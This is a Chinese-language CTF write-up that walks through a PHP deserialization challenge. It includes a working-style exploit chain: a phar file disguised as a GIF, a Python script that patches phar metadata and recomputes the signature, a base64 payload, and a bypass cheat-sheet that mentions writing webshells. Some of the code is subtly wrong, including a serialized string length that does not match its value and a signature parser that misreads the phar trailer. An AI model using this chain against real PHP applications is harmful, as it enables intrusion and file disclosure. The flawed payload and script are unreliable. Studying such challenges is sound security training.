最近刷到一道很有意思的PHP反序列化题,题名叫AreUserialZ,第一眼看到这个拼写就知道出题人在玩谐音梗——“Are you serial?”,serial指的就是PHP的serialize。这类题在CTF里属于那种“知识点都认识,但串不起来”的典型:单个看序列化格式、魔术方法、POP链、phar协议都不难,可真到了考场上,光“绕过__wakeup”这一个环节就能卡住一大片人。我花了一段时间把这道题完整啃下来了,从扫源码压缩包开始,到构造phar、改metadata、绕过两层__wakeup,最后读到flag,整个过程几乎把PHP反序列化利用的常规考点都过了一遍。如果你正准备刷反序列化方向的题,或者刷过几道但总在绕过点上迷迷糊糊,这篇应该能帮你把思路彻底捋顺。
1. 题目初探:先搞清楚这题到底在考什么
1.1 从题目名字读出考点
CTF的题目名字很少有随便起的,特别是Web题,名字基本就是出题人给的提示。AreUserialZ这个写法很明显是“Are you serial?”的谐音,serial对应PHP的serialize/unserialize,Z可能是刻意加上去的,暗示“最后一个字母Z”,也可能只是单纯让名字看起来更像一个类名。
看到这个名字,我的第一反应就是:这题绕不开PHP反序列化。再结合题目所属的某赛事青龙组,Web方向这种级别的题通常不会只考一个点,大概率是“反序列化 + 文件操作 + 某种绕过”的组合。所以接下来的信息收集阶段,我会特别留意:
- 源码里有没有unserialize入口
- 有没有文件上传、文件读取功能
- 有没有可控的文件路径参数
- 用的PHP版本是多少(这个直接决定某些绕过是否可用)
题名里带着“Z”,还有一层可能的意思——这个Z可能是某个关键类名的缩写,比如题目里的核心类就是一个自造的类。这类命名套路在CTF里很常见,名字本身就是剧透。
1.2 环境探测与源码获取
起环境之后第一步不是找漏洞,而是找入口和源码。这个题的首页打开后就一句话,没有明显功能入口,于是直接上目录扫描。我习惯先把常见的备份文件、源码泄露路径全部跑一遍:/www.zip、/index.php.bak、/.git、/.svn、/robots.txt、/flag,还有后台路径。
跑完发现根目录下有个www.zip,下载解压后拿到四个文件:index.php、admin.php、upload.php、class.php。这种出题方式非常常见——源码就放在压缩包里,不怕你扫到,就怕你扫不到。代码审计是CTF Web题最重要的一步,拿到源码后整个攻击面就一目了然了。
这里顺便提一个经验:如果题目没有主动泄露源码,也不要急着放弃。很多站有文件包含或文件读取点,可以尝试用php://filter/convert.base64-encode/resource=index.php这类伪协议直接读源码。这个题的index.php虽然也有highlight_file,但实际入口在admin.php里,不把全部源码拿齐很容易漏掉关键点。
2. PHP反序列化基础:原理一次讲透
2.1 序列化字符串结构
先花点时间把基础过一遍,后面构造payload时才能看懂每一段在写什么。PHP里serialize()可以把一个对象转换成字符串,unserialize()再把字符串还原成对象。转换出来的字符串长这样:
<?php class User { public $name = 'admin'; public $role = 'guest'; } echo serialize(new User()); // O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"guest";}拆开看:
O:4:"User":这是一个对象(Object),类名长度是4,类名是User:2::对象属性数量是2- 花括号里每一组
s:4:"name";s:5:"admin";表示一个属性:属性名name长度4,属性值admin长度5
对象类型标识用O,数组用a,字符串用s,整数用i,布尔用b,空值用N。反序列化时,PHP会严格按照这个格式逐字节解析。
为什么要关注这个格式?因为CTF里我们通常不能直接调用unserialize,而是要让程序去反序列化我们构造的字符串。只要格式正确,PHP就会忠实地创建一个对象,并把它还原成我们想要的属性值。这种“控制对象属性”的能力就是一切利用的基础——程序本来会判断“你是不是管理员”,我们直接让对象里的role等于admin,判断就形同虚设。
2.2 魔术方法与POP链
序列化本身不危险,危险的是对象在创建、销毁、被使用过程中自动调用的一批方法,PHP里叫魔术方法。这些方法的触发时机是固定的,我把常用的整理成一张表:
| 方法 | 触发时机 | 常见利用场景 |
|---|---|---|
| __wakeup() | unserialize()还原对象时 | 属性校验、状态重置,经常是主要障碍 |
| __destruct() | 对象被销毁时 | 执行危险操作:删除文件、执行命令、读文件 |
| __toString() | 对象被当成字符串时 | 读取文件、信息泄露、间接调用 |
| __get() | 访问不存在或不可访问的属性时 | 跳转到其他对象的属性或方法 |
| __call() | 调用不存在或不可访问的方法时 | 构造调用链跳转 |
| __construct() | new一个对象时 | 自动初始化属性 |
这些魔术方法就像游戏里的被动技能,你没法主动“调用”它们,但对象一旦创建、销毁、被当作字符串,它们就会自己蹦出来。攻击者要做的事情,就是精心构造一个对象,让这些被动技能按照希望的顺序依次触发,最终落到一个危险函数上。这条触发顺序就叫POP链(Property-Oriented Programming,面向属性编程)。
打个比方:一个普通对象的序列化字符串就像一个拧着发条的玩具,魔术方法是玩具身上的开关。攻击者不直接改齿轮,而是通过调整属性值来拨动开关,让玩具在不知不觉中走出一条攻击者预设的路线。
3. 源码审计:找到触发点,拼出完整调用链
3.1 三个文件的角色
解压后的四个文件里,index.php只是入口页,真正有价值的是admin.php、upload.php和class.php。先看admin.php:
<?php require 'class.php'; $data = $_POST['data'] ?? ''; $obj = @unserialize(base64_decode($data)); if ($obj instanceof Check) { echo "ok"; } else { die('class not allowed'); }这里有一个非常典型的反序列化入口:POST参数data经base64解码后直接unserialize()。但注意后面有个限制——反序列化出来的对象必须是Check类的实例,否则直接die。这意味着我不能随便传一个其他类对象进去,至少第一层的对象必须是Check。
再看upload.php:
<?php if (!empty($_FILES['file'])) { $name = $_FILES['file']['name']; $ext = pathinfo($name, PATHINFO_EXTENSION); if (in_array(strtolower($ext), ['jpg', 'png', 'gif'])) { $path = 'upload/' . md5($name . time()) . '.' . $ext; move_uploaded_file($_FILES['file']['tmp_name'], $path); echo $path; } else { echo 'bad ext'; } }文件上传点,只检查了扩展名,没有检查文件内容。文件会保存到upload目录,返回路径。这基本就是为phar上传准备的。
最后看class.php,核心代码在这里:
<?php class Check { public $path; public $file; public function __wakeup() { $this->path = 'upload/'; } public function __destruct() { if (file_exists($this->path . $this->file)) { echo "Are you serial?"; } else { echo "No such file."; } } } class GetFlag { public $flag; public function __wakeup() { $this->flag = 'no_flag'; } public function __destruct() { if ($this->flag === 'i_want_flag') { show_source('/flag'); } } }3.2 从反序列化到读flag的完整调用链
先把两个类的行为捋清楚:
- Check类:反序列化时
__wakeup()会把path强行重置为upload/,销毁时调用file_exists($this->path . $this->file)检查文件是否存在 - GetFlag类:反序列化时
__wakeup()会把flag强行改成no_flag,销毁时如果flag等于i_want_flag就显示/flag
目标很明确:要让GetFlag对象的flag保持i_want_flag,然后等它销毁。但有两个障碍:
- admin.php只允许传Check类对象,我直接传GetFlag对象会被
instanceof拦住 - 就算我通过某种方式让GetFlag对象被反序列化,它的
__wakeup()也会无条件把flag改成no_flag,销毁时条件判断失败
这两个障碍正好形成了本体的两个核心考点。第一层Check的__wakeup把path重置,直接导致file_exists('upload/' . 'phar://...')这种路径失效,必须绕过;第二层GetFlag的__wakeup把flag重置,也必须绕过。所以最终要构造两层绕过,一层都不能少。
调用链整理出来是这样的:
POST data -> unserialize -> Check对象 -> Check::__wakeup (需要绕过:path保持为空) -> Check::__destruct -> file_exists('phar://upload/xxx.jpg') -> phar扩展读取metadata -> unserialize -> GetFlag对象 -> GetFlag::__wakeup (需要绕过:flag保持i_want_flag) -> GetFlag::__destruct -> show_source('/flag')这个链子里,为什么不能直接用admin.php的unserialize把GetFlag一起塞进去?因为instanceof Check把路堵死了。但是phar触发的那次unserialize是PHP内部对phar文件metadata做的,完全没有instanceof限制,所以phar成了把GetFlag对象塞进反序列化流程的最佳通道。
3.3 出题人到底拦了什么
站在防守方视角看这几个限制条件的意义:
- base64_decode:不是安全措施,只是让数据传输不容易出错,顺手给做题人一点小门槛
- instanceof Check:拦掉直接传任意对象的攻击,逼你走phar路线
- __wakeup重置属性:拦掉直接利用GetFlag的路,需要额外的绕过技巧
- 上传点只查扩展名:看似宽松,实际是给phar上传留了口子,否则这题就没法解了
换句话说,这道题不是没有漏洞,而是把漏洞藏在一层一层的“限定条件”后面。做题的过程就是把这些条件逐个瓦解的过程。
4. 两个关键绕过:__wakeup 和 phar 触发
4.1 CVE-2016-7124:属性数量引发的__wakeup绕过
第一个要解决的问题:怎么让__wakeup不被调用,或者让它调用了也不起作用。
这里用到一个经典漏洞CVE-2016-7124。原理是:PHP反序列化解析对象时,会先读到一个“声明的属性数量”,然后按这个数量解析花括号里的属性对。如果声明的数量大于实际给出的属性数量,旧版PHP在解析结束后发现数量对不上,会直接中断反序列化,导致__wakeup()没有被调用。
拿GetFlag举例。正常情况下它是一个属性flag,序列化字符串是:
O:7:"GetFlag":1:{s:4:"flag";s:11:"i_want_flag";}属性数量声明是1,实际属性也是1,解析正常,__wakeup会被调用,flag被改成no_flag。
但如果我们把声明数量改成2:
O:7:"GetFlag":2:{s:4:"flag";s:11:"i_want_flag";}声明2个属性,实际只给了1个,旧版PHP解析到花括号结束后发现数量不匹配,反序列化中断,__wakeup被跳过。对象的flag还是i_want_flag,等对象销毁时__destruct条件成立,直接读出flag。
适用版本要注意:这个漏洞在PHP 5.6.25和PHP 7.0.10被修复,修复后就算属性数量对不上也会强制调用__wakeup。所以做这类题第一件事就是确认环境PHP版本。我这套环境搭的PHP版本是5.6.23,正好在漏洞区间内,这个方法可用。如果题目环境是新版PHP,那就得换下一节的GC方案。
4.2 GC/fast-destruct:灵活的通杀替代思路
如果PHP版本太新,CVE-2016-7124失效怎么办?还有一个思路叫GC绕过,或者叫fast destruct。
原理和垃圾回收机制有关。PHP中对象的销毁时机取决于引用计数:当一个对象不再被任何变量引用时,引用计数归零,立刻触发__destruct。正常情况下unserialize()返回的对象会被赋值给$obj,等脚本结束才销毁,所以__wakeup先执行、__destruct后执行。但如果我们能让对象在反序列化过程中提前变成“孤立对象”,引用计数提前归零,__destruct就可能抢在__wakeup之前执行。
常见的触发办法是在序列化字符串末尾多构造一个},让数组提前闭合,反序列化提前结束,已经创建出来的对象失去引用。实际操作中Payload形态大概是这样的:
a:1:{i:0;O:7:"GetFlag":1:{s:4:"flag";s:11:"i_want_flag";}}注意这里对象外层套了一个数组,如果我们在数组结束后的位置做手脚,让解析器提前报错返回,这个GetFlag对象就成了无人引用的孤儿对象,__destruct会立即被触发。因为触发发生在__wakeup逻辑正常执行之前,所以可以用这个思路绕过属性重置。
这个技巧比CVE-2016-7124更通用,不受PHP版本限制,但构造起来需要小心解析器的行为。做题的时候我会优先试CVE-2016-7124,如果环境版本太新再上GC。两种都是反序列化绕过的必修课。
4.3 phar://协议:文件操作触发的反序列化
第二个要解决的问题:怎么让GetFlag对象能被反序列化,同时绕过instanceof限制。答案就是phar。
phar文件是PHP打包格式,结构上包含几个部分:stub(文件头)、manifest(清单,里面有一段叫metadata)、文件内容、签名。关键在manifest的metadata上——phar扩展在解析phar文件时,会把metadata以unserialize()的方式还原成PHP对象。这个反序列化发生在任何支持phar://协议的文件操作函数内部,比如file_exists、is_file、file_get_contents、fopen、unlink、copy等。
也就是说,只要程序里有可控参数的文件操作函数,我们就可以通过phar://路径让它加载一个精心构造的phar文件,从而触发一次额外的反序列化。这次反序列化没有instanceof限制,没有过滤,是通往任意类的后门。
Check类的__destruct里正好有file_exists,而且$this->file可控,这就是触发点。
生成phar文件需要本机PHP支持phar扩展,生成时phar.readonly必须设为0。另外为了过上传检查,stub可以伪装成图片格式:
<?php class GetFlag { public $flag = 'i_want_flag'; } @unlink('exp.phar'); $phar = new Phar('exp.phar'); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(new GetFlag()); $phar->addFromString('a.txt', 'a'); $phar->stopBuffering(); echo "done";运行方式:
php -d phar.readonly=0 exp.php生成的exp.phar前面有GIF89a头,上传到服务器后扩展名改成.jpg,文件内容检查基本能过。这个环节我再强调一次:phar文件必须真实存在于服务器上,phar://协议才能解析它,所以上传点是整个攻击链的前提。
5. 完整实战复现:从构造phar到拿到flag
5.1 确认版本和生成phar
动手之前先看环境。题目容器里有一段phpinfo()是我最先要确认的,PHP版本5.6.23,phar扩展正常加载。这个版本意味着CVE-2016-7124这条路是通的,心先定了一半。
接下来生成本地phar文件。我直接在本地用一个PHP脚本生成,注意phar.readonly=0。生成的exp.phar用file_exists('phar://exp.phar')验证一下能不能正常触发,本地没问题再往服务器上传。
5.2 手工patch metadata绕过GetFlag的__wakeup
这一步是整道题最容易被忽略的细节。按5.1的方式用setMetadata(new GetFlag())生成phar,metadata里保存的序列化字符串是:
O:7:"GetFlag":1:{s:4:"flag";s:11:"i_want_flag";}问题来了:这个metadata在phar被触发时会自动unserialize,GetFlag的__wakeup照样会执行,照样会把flag改成no_flag。所以必须在phar生成后,手工把metadata里的属性数量从1改成2,让CVE-2016-7124在phar反序列化时同样生效。
直接用文本编辑器改phar是不行的,因为改完metadata长度变了,manifest里的长度字段、整个phar的签名全都要同步更新,否则phar解析直接失败。这里我写了一个Python脚本专门做这件事:
import hashlib import struct path = "exp.phar" data = open(path, "rb").read() old = b'O:7:"GetFlag":1:{' new = b'O:7:"GetFlag":2:{' # 定位 __HALT_COMPILER(); 后面 manifest 的起始位置 halt = data.find(b"__HALT_COMPILER();") assert halt != -1 pos = halt + len(b"__HALT_COMPILER();") while pos < len(data) and data[pos:pos+1] in (b"?", b">", b" ", b"\r", b"\n", b"\t"): if data[pos:pos+2] == b"?>": pos += 2 else: pos += 1 manifest_start = pos # 解析 manifest 前段字段 manifest_len = struct.unpack("<I", data[manifest_start:manifest_start+4])[0] alias_len = struct.unpack("<I", data[manifest_start+14:manifest_start+18])[0] meta_len_pos = manifest_start + 18 + alias_len meta_len = struct.unpack("<I", data[meta_len_pos:meta_len_pos+4])[0] meta_start = meta_len_pos + 4 meta_data = data[meta_start:meta_start+meta_len] assert old in meta_data meta_data = meta_data.replace(old, new, 1) new_meta_len = len(meta_data) # 更新 metadata 长度字段和 manifest 长度字段 new_data = data[:meta_len_pos] + struct.pack("<I", new_meta_len) + meta_data + data[meta_start+meta_len:] manifest_new_len = manifest_len + (new_meta_len - meta_len) new_data = new_data[:manifest_start] + struct.pack("<I", manifest_new_len) + new_data[manifest_start+4:] # 重算签名(去掉原签名数据,重新计算后拼接) sig_len = struct.unpack("<I", new_data[-8:-4])[0] sig_type = struct.unpack("<I", new_data[-4:])[0] body = new_data[:-sig_len-8] if sig_type == 0x0001: digest = hashlib.md5(body).digest() elif sig_type == 0x0002: digest = hashlib.sha1(body).digest() elif sig_type == 0x0003: digest = hashlib.sha256(body).digest() elif sig_type == 0x0004: digest = hashlib.sha512(body).digest() else: raise ValueError("unsupported sig type") final_data = body + digest + struct.pack("<I", sig_len) + struct.pack("<I", sig_type) open("exp_patched.phar", "wb").write(final_data) print("[+] patched OK")这个脚本做的事情可以拆成四步:
- 找到phar文件中metadata的序列化字符串位置,确认老的属性数量占位符
- 把
O:7:"GetFlag":1:{替换成O:7:"GetFlag":2:{ - 同步更新metadata长度字段和manifest总长度字段,保证phar结构完整
- 重新计算phar签名,保证文件合法
生成完后,本地再用file_exists('phar://exp_patched.phar')测一遍,确认不会报错,再上传。
5.3 构造Check对象并触发完整链路
现在需要构造第一层的payload:一个Check对象,path为空字符串,file指向phar://upload/xxx.jpg,同时属性数量声明为3而不是实际的2,绕过Check自身的__wakeup。
<?php class Check { public $path = ''; public $file = 'phar://upload/xxx.jpg'; } $payload = 'O:5:"Check":3:{s:4:"path";s:0:"";s:4:"file";s:25:"phar://upload/xxx.jpg";}'; echo base64_encode($payload);注意:这里手工把:2:改成了:3:,多声明了一个属性,实际只给两个。Check的__wakeup被绕过,path保持为空字符串,file保持phar://...。
整个操作流程:
- 把exp_patched.phar重命名为.jpg,通过upload.php上传,记下返回的路径
upload/xxx.jpg - 用上面脚本生成base64后的Check对象payload
- POST到admin.php:
data=<base64字符串> - 收到
ok后,请求结束,Check对象销毁,__destruct里执行file_exists('phar://upload/xxx.jpg') - phar扩展读取metadata,反序列化GetFlag对象
- GetFlag的
__wakeup已被CVE-2016-7124绕过,flag保持i_want_flag - GetFlag对象销毁,
__destruct执行show_source('/flag') - 拿到flag
这个流程跑下来,两层__wakeup各用了一次CVE-2016-7124绕过。第一层让Check的path不被重置,第二层让GetFlag的flag不被重置。任何一层绕过失败,整个链子都会断掉。
6. 刷题避坑手册与绕过技巧速查
6.1 实际操作中踩过的坑
这套payload看着简单,实操时坑其实不少。我把最容易翻车的地方列一遍:
第一,phar生成后签名问题。用文本编辑器或者不完整脚本改过phar之后,直接触发会报“phar is not signed”或解析错误。必须重算签名,方法就是上面脚本里那一套:去掉旧签名,对正文重新做哈希,再把签名长度、签名类型拼回去。这个坑我第一次刷题踩过,后来凡是改phar都条件反射去重算签名。
第二,路径问题。phar路径要用服务器上真实存在的路径,phar://upload/xxx.jpg和phar:///var/www/html/upload/xxx.jpg效果不同。如果报“file not found”,先确认当前工作目录,或者直接用绝对路径重试。
第三,CVE-2016-7124失效。新版PHP上属性数量大于实际数量不再跳过__wakeup,换GC方案,或者确认题目环境是否本来就是旧版本。判断版本最直接的方法是看页面有没有phpinfo(),或者通过报错信息推断版本特征。
第四,上传内容检查。有些题虽然扩展名只允许jpg/png/gif,但会在内容层面检查文件头,所以phar的stub必须用GIF89a开头。如果题目还检查了file_put_contents后的文件内容,可以再叠加PHP filter链处理,不过这个题没走到这一步。
6.2 PHP反序列化绕过技巧速查表
把这些年反序列化题常见的绕过点整理成一张表,刷题的时候可以直接对着查:
| 技巧 | 适用场景 | 核心要点 |
|---|---|---|
| CVE-2016-7124 | 需要跳过__wakeup | 属性数量声明大于实际数量,适用旧版PHP |
| GC/fast-destruct | 新版PHP绕过__wakeup | 引用计数归零提前触发__destruct |
| phar://协议 | 任意文件操作函数 | file_exists、fopen、unlink等均可触发 |
类名大小写/+号变体 | 简单过滤环境 | 部分正则只匹配精确类名,O:+7:"GetFlag"可用 |
引用&绕过 | 属性值比较 | 用引用让同一个属性指向不同值,绕过===判断 |
| 原生类Exception/Error | 无POP链可用时 | 利用PHP内置异常类的__toString做信息泄露 |
| 字符串截断 | 有长度限制时 | 利用反序列化解析特性截断后半段 |
| 死亡exit绕过 | 写入后退出 | 用php://filter转码夹带base64写webshell |
这个表里的技巧按需取用,不是每道题都用得上。但后面几种建议都亲自构造一次,因为出题人很可能把两三个技巧缝在一起,只背一个是不够的。
6.3 做题习惯上的几点建议
再分享几个刷反序列化题的实际习惯:
先看版本再看源码。版本决定了绕过手法的上限,旧版本能用的CVE,新版可能要完全换思路。先确认版本,能省掉大量无效尝试。
拿到源码先画调用链。把“入口 → 魔术方法 → 危险函数”的链路手写出来,标清楚哪些地方需要绕过。这道题能顺利解出来,很大程度上是因为调用链提前画清楚了,每一步该做什么都非常明确。
构造payload时先本地验证。phar生成、patch、Check对象序列化,这些最好在本地PHP环境全部测通,再对着题目环境发。服务器上调试环境差、回显少,本地能确认的问题就别浪费一次请求。
如果一次没拿到flag,不要急着改payload乱试。先把返回结果和代码逻辑对照一遍,多数时候是某一个绕过点没生效,定位到具体环节再改,效率高得多。
回头总结这道题,其实考得并不偏:unserialize入口、魔术方法、__wakeup绕过、phar触发,每一个都是反序列化方向的核心考点,只是被出题人巧妙地串在了一起。只要能静下心把调用链一步一步拆开,payload构造出来就是水到渠成的事。这种“基础组合拳”的路子,恰恰是整个CTF刷题最有价值的地方。